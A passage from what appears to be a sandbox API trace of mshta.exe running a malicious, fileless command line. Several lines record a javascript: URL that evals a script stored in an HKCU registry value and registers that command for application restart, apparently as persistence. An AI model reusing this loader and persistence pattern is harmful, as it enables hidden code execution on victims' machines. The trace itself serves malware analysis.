RegisterClipboardFormatA (lpszFormat="MS Forms CLSID") returned 0xc16c [0030.043] RegisterClipboardFormatA (lpszFormat="MS Forms Text") returned 0xc052 [0030.043] GetDC (hWnd=0x0) returned 0x12010a1c [0030.044] SHCreateShellPalette (hdc=0x0) returned 0x10080a18 [0030.044] GetPaletteEntries (in: hpal=0x10080a18, iStart=0x0, cEntries=0x100, pPalEntries=0x7388a494 | out: pPalEntries=0x7388a494) returned 0x100 [0030.044] SHGetInverseCMAP (in: pbMap=0x73888a7c, cbMap=0x4 | out: pbMap=0x73888a7c) returned 0x0 [0030.044] GetDeviceCaps (hdc=0x12010a1c, index=38) returned 32409 [0030.044] ReleaseDC (hWnd=0x0, hDC=0x12010a1c) returned 1 [0030.044] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20a) returned 0x4be988 [0030.044] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2000) returned 0x4bf3a0 [0030.045] GetCurrentProcessId () returned 0x35c [0030.045] _vsnprintf (in: _DstBuf=0x3cf8b4, _MaxCount=0x16, _Format="%s%08lX", _ArgList=0x3cf57c | out: _DstBuf="#MSHTML#PERF#0000035C") returned 21 [0030.045] OpenFileMappingA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#0000035C") returned 0x0 [0030.045] GetVersionExW (in: lpVersionInformation=0x3cf598*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x4a3660, dwMinorVersion=0x100, dwBuildNumber=0x4bdb88, dwPlatformId=0x4a0000, szCSDVersion="A") | out: lpVersionInformation=0x3cf598*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0030.045] GetModuleHandleW (lpModuleName="advapi32") returned 0x754b0000 [0030.045] GetProcAddress (hModule=0x754b0000, lpProcName="EventWrite") returned 0x77380c59 [0030.045] GetProcAddress (hModule=0x754b0000, lpProcName="EventRegister") returned 0x7735f6ba [0030.045] GetProcAddress (hModule=0x754b0000, lpProcName="EventUnregister") returned 0x77379241 [0030.045] EtwEventRegister () returned 0x0 [0030.045] EtwRegisterTraceGuidsW () returned 0x0 [0030.045] EtwRegisterTraceGuidsW () returned 0x0 [0030.045] EtwEventRegister () returned 0x0 [0030.046] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Microsoft Office\\Office14\\outllib.dll", lpdwHandle=0x3cf364 | out: lpdwHandle=0x3cf364) returned 0x0 [0030.046] GetModuleHandleW (lpModuleName=0x0) returned 0xd80000 [0030.046] GetModuleFileNameW (in: hModule=0xd80000, lpFilename=0x3cf370, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.046] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0030.048] GetCurrentProcessId () returned 0x35c [0030.048] GetCurrentProcessId () returned 0x35c [0030.050] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\!PrivacIE!SharedMemory!Mutex") returned 0xbc [0030.050] GetLastError () returned 0xb7 [0030.050] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10, lpName="Local\\!PrivacIE!SharedMem!Counter") returned 0xc0 [0030.050] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x150000 [0030.062] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e1de8 | out: hHeap=0x8e0000) returned 1 [0030.062] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e0e78 | out: hHeap=0x8e0000) returned 1 [0030.062] RegCloseKey (hKey=0x42) returned 0x0 [0030.063] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0030.063] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterApplicationRestart") returned 0x76e4b53c [0030.063] lstrlenA (lpString="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"") returned 102 [0030.063] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0xce) returned 0x8e1de8 [0030.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4a2af2, cbMultiByte=-1, lpWideCharStr=0x8e1de8, cchWideChar=103 | out: lpWideCharStr="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"") returned 103 [0030.063] RegisterApplicationRestart (pwzCommandline="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"", dwFlags=0x0) returned 0x0 [0030.063] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e1de8 | out: hHeap=0x8e0000) returned 1 [0030.063] GetProcAddress (hModule=0x73350000, lpProcName="RunHTMLApplication") returned 0x733ae710 [0030.123] GetCommandLineW () returned="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"" [0030.131] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xd2) returned 0x4c52a8 [0030.132] OleInitialize (pvReserved=0x0) returned 0x0 [0030.286] IsWindow (hWnd=0x0) returned 0 [0030.286] RegisterClassW (lpWndClass=0x3cfc1c) returned 0xc113 [0030.286] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xd80000, lpParam=0x73889680) returned 0x50018 [0030.286] NtdllDefWindowProc_W () returned 0x0 [0030.286] NtdllDefWindowProc_W () returned 0x1 [0030.287] NtdllDefWindowProc_W () returned 0x0 [0030.292] NtdllDefWindowProc_W () returned 0x0 [0030.292] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x50018, hMenu=0x0, hInstance=0xd80000, lpParam=0x73889680) returned 0x700b6 [0030.292] NtdllDefWindowProc_W () returned 0x0 [0030.292] NtdllDefWindowProc_W () returned 0x1 [0030.292] NtdllDefWindowProc_W () returned 0x0 [0030.293] NtdllDefWindowProc_W () returned 0x0 [0030.293] SetWindowLongW (hWnd=0x700b6, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0030.293] NtdllDefWindowProc_W () returned 0x0 [0030.293] NtdllDefWindowProc_W () returned 0x0 [0030.294] NtdllDefWindowProc_W () returned 0x0 [0030.294] NtdllDefWindowProc_W () returned 0x0 [0030.294] NtdllDefWindowProc_W () returned 0x0 [0030.294] NtdllDefWindowProc_W () returned 0x0 [0030.294] SetWindowPos (hWnd=0x700b6, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0030.294] NtdllDefWindowProc_W () returned 0x0 [0030.294] NtdllDefWindowProc_W () returned 0x0 [0030.295] NtdllDefWindowProc_W () returned 0x0 [0030.295] NtdllDefWindowProc_W () returned 0x0 [0030.296] NtdllDefWindowProc_W () returned 0x0 [0030.296] SendMessageW (hWnd=0x700b6, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0030.296] NtdllDefWindowProc_W () returned 0x0 [0030.296] NtdllDefWindowProc_W () returned 0x0 [0030.299] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xd2) returned 0x4cb2d8 [0030.299] PathRemoveArgsW (in: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"" | out: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"") [0030.301] PathRemoveBlanksW (in: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"" | out: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"") [0030.301] PathUnquoteSpacesW (in: lpsz="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"" | out: lpsz="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 1 [0030.302] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ppmk=0x3cfc7c*=0x0, dwFlags=0x1 | out: ppmk=0x3cfc7c*=0x4b0638) returned 0x0 [0030.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cb2d8 | out: hHeap=0x4a0000) returned 1 [0030.322] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf378 [0030.322] CoCreateInstance (in: rclsid=0x73489770*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7350b75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x738896d4 | out: ppv=0x738896d4*=0x4d21e8) returned 0x0 [0030.323] DllGetClassObject (in: rclsid=0x4d0c88*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cef34 | out: ppv=0x3cef34*=0x73888cb0) returned 0x0 [0030.323] IClassFactory:CreateInstance (in: This=0x73888cb0, pUnkOuter=0x0, riid=0x3cf8e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cef20 | out: ppvObject=0x3cef20*=0x4d21e8) returned 0x0 [0030.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a8) returned 0x4cde18 [0030.342] GetCurrentThreadId () returned 0x664 [0030.345] RegisterClassExW (param_1=0x3cedcc) returned 0xc055 [0030.345] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc055, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x73350000, lpParam=0x0) returned 0x3026a [0030.345] GetWindowLongW (hWnd=0x3026a, nIndex=-20) returned 0 [0030.345] NtdllDefWindowProc_W () returned 0x1 [0030.346] NtdllDefWindowProc_W () returned 0x0 [0030.346] NtdllDefWindowProc_W () returned 0x0 [0030.346] NtdllDefWindowProc_W () returned 0x0 [0030.346] NtdllDefWindowProc_W () returned 0x0 [0030.346] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf390 [0030.346] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf3a8 [0030.346] CreateCompatibleDC (hdc=0x0) returned 0x69010744 [0030.346] GetDeviceCaps (hdc=0x69010744, index=90) returned 96 [0030.346] GetDeviceCaps (hdc=0x69010744, index=88) returned 96 [0030.346] GetSystemMetrics (nIndex=68) returned 4 [0030.346] GetSystemMetrics (nIndex=69) returned 4 [0030.346] GetSystemMetrics (nIndex=2) returned 17 [0030.346] GetSystemMetrics (nIndex=3) returned 17 [0030.346] GetStockObject (i=13) returned 0x18a002e [0030.346] SelectObject (hdc=0x69010744, h=0x18a002e) returned 0x18a002e [0030.346] GetTextMetricsW (in: hdc=0x69010744, lptm=0x3cee64 | out: lptm=0x3cee64) returned 1 [0030.347] SelectObject (hdc=0x69010744, h=0x18a002e) returned 0x18a002e [0030.347] DeleteObject (ho=0x18a002e) returned 1 [0030.347] GetSystemDefaultLCID () returned 0x409 [0030.347] GetUserDefaultLCID () returned 0x409 [0030.347] GetACP () returned 0x4e4 [0030.347] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x3cedd8, cchData=41 | out: lpLCData="1") returned 2 [0030.347] _wtoi (_String="1") returned 1 [0030.347] RegCloseKey (hKey=0x0) returned 0x6 [0030.347] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x3cee2c, cchData=16 | out: lpLCData="0123456789") returned 11 [0030.347] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388b038, fWinIni=0x0 | out: pvParam=0x7388b038) returned 1 [0030.347] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x3ceea0, fWinIni=0x0 | out: pvParam=0x3ceea0) returned 1 [0030.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc0) returned 0x4cb2d8 [0030.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf3c0 [0030.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa4) returned 0x4ce0c8 [0030.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c33c8 [0030.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1c) returned 0x4caac0 [0030.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b90e0 [0030.347] GetSystemWindowsDirectoryW (in: lpBuffer=0x3cecac, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0030.347] lstrlenW (lpString="C:\\Windows") returned 10 [0030.347] lstrlenW (lpString="\\WindowsShell.manifest") returned 22 [0030.348] CreateActCtxW (pActCtx=0x3cec88) returned 0x4ce17c [0030.349] ActivateActCtx (in: hActCtx=0x4ce17c, lpCookie=0x3cec58 | out: hActCtx=0x4ce17c, lpCookie=0x3cec58) returned 1 [0030.349] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x743d0000 [0030.352] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b660001) returned 1 [0030.352] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0030.352] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0030.353] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0030.353] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0030.353] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3ce8b8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.353] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ceac0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.353] GetCurrentProcess () returned 0xffffffff [0030.353] GetModuleBaseNameW (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x3cecc8, nSize=0x104 | out: lpBaseName="mshta.exe") returned 0x9 [0030.353] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0030.353] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c33e8 [0030.353] FindAtomW (lpString="TridentEnableHiRes") returned 0x0 [0030.353] SHGetValueW (in: hkey=0x80000001, pszSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", pszValue="NoFileMenu", pdwType=0x3ce8a4, pvData=0x3ce8b0, pcbData=0x3ce8ac*=0x4 | out: pdwType=0x3ce8a4*=0x0, pvData=0x3ce8b0, pcbData=0x3ce8ac*=0x4) returned 0x2 [0030.354] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3ce81c | out: phkResult=0x3ce81c*=0x158) returned 0x0 [0030.354] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3ce820 | out: phkResult=0x3ce820*=0x154) returned 0x0 [0030.354] RegOpenKeyExW (in: hKey=0x154, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x3ce7dc | out: phkResult=0x3ce7dc*=0x0) returned 0x2 [0030.354] RegOpenKeyExW (in: hKey=0x158, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x3ce7dc | out: phkResult=0x3ce7dc*=0x0) returned 0x2 [0030.354] RegCloseKey (hKey=0x0) returned 0x6 [0030.354] RegCloseKey (hKey=0x0) returned 0x6 [0030.354] RegCloseKey (hKey=0x158) returned 0x0 [0030.354] RegCloseKey (hKey=0x154) returned 0x0 [0030.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x97c) returned 0x4d21e8 [0030.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x480) returned 0x4d2b70 [0030.355] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.355] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.355] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.355] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4cf228 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4ce9c8 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4cea20 [0030.355] GetCurrentThreadId () returned 0x664 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf480 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x2c) returned 0x4bd718 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x80) returned 0x4cea78 [0030.355] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc056 [0030.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4c3408 [0030.356] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1 [0030.357] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x73888cd4, dwReserved=0x0 | out: ppSM=0x73888cd4*=0x4ceb00) returned 0x0 [0030.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x64) returned 0x4ceb68 [0030.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4d3438 [0030.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x28) returned 0x4bd030 [0030.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c3428 [0030.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b9130 [0030.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b9180 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4d3490 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x64) returned 0x4d34f8 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b91d0 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4d3568 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xec) returned 0x4d3840 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b9220 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b9270 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b92c0 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4d35d0 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4d3938 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b9310 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b9360 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x90) returned 0x4d39a0 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x140) returned 0x4d3a38 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4cb870 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x28) returned 0x4bd060 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4c3448 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xd0) returned 0x4ccb90 [0030.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4cee28 [0030.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x128) returned 0x4d3b80 [0030.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x148) returned 0x4d3cb0 [0030.364] GetCurrentThreadId () returned 0x664 [0030.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5c) returned 0x4d3e00 [0030.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4c3468 [0030.364] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x3cebcc | out: ppURI=0x3cebcc*=0x4cbaa4) returned 0x0 [0030.364] IUri:GetPropertyDWORD (in: This=0x4cbaa4, uriProp=0x11, pdwProperty=0x3cebb4, dwFlags=0x0 | out: pdwProperty=0x3cebb4*=0x11) returned 0x0 [0030.364] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x4d291c, dwReserved=0x0 | out: ppSM=0x4d291c*=0x4d3e68) returned 0x0 [0030.365] IInternetSecurityManager:SetSecuritySite (This=0x4d3e68, pSite=0x4d2924) returned 0x0 [0030.365] IUnknown:AddRef (This=0x4d2924) returned 0x28 [0030.365] IUnknown:QueryInterface (in: This=0x4d2924, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3ceb84 | out: ppvObject=0x3ceb84*=0x4d2928) returned 0x0 [0030.365] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x4d3e90 | out: ppvObject=0x4d3e90*=0x0) returned 0x80004002 [0030.365] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x4d3e8c | out: ppvObject=0x4d3e8c*=0x0) returned 0x80004002 [0030.365] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x4d3e88 | out: ppvObject=0x4d3e88*=0x0) returned 0x80004002 [0030.365] IUnknown:Release (This=0x4d2928) returned 0x0 [0030.365] IInternetSecurityManager:GetSecurityId (in: This=0x4d3e68, pwszUrl="about:blank", pbSecurityId=0x3cec20, pcbSecurityId=0x3cec14*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3cec20*=0x61, pcbSecurityId=0x3cec14*=0xf) returned 0x0 [0030.379] DllGetClassObject (in: rclsid=0x4d0cbc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x3ce1a0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cd858 | out: ppv=0x3cd858*=0x73888c70) returned 0x0 [0030.379] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0030.379] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.379] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce41c | out: ppvObject=0x3ce41c*=0x73888c70) returned 0x0 [0030.379] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.379] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3ce5dc | out: ppvObject=0x3ce5dc*=0x73888c7c) returned 0x0 [0030.379] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.379] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4c3528, cchResult=0xc, pcchResult=0x3ce624, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3ce624*=0xc) returned 0x0 [0030.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4aa0 [0030.380] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.380] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4aa0 | out: hHeap=0x4a0000) returned 1 [0030.380] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.380] DllGetClassObject (in: rclsid=0x4d0cbc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ce4f0 | out: ppv=0x3ce4f0*=0x73888c70) returned 0x0 [0030.380] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3ce5dc | out: 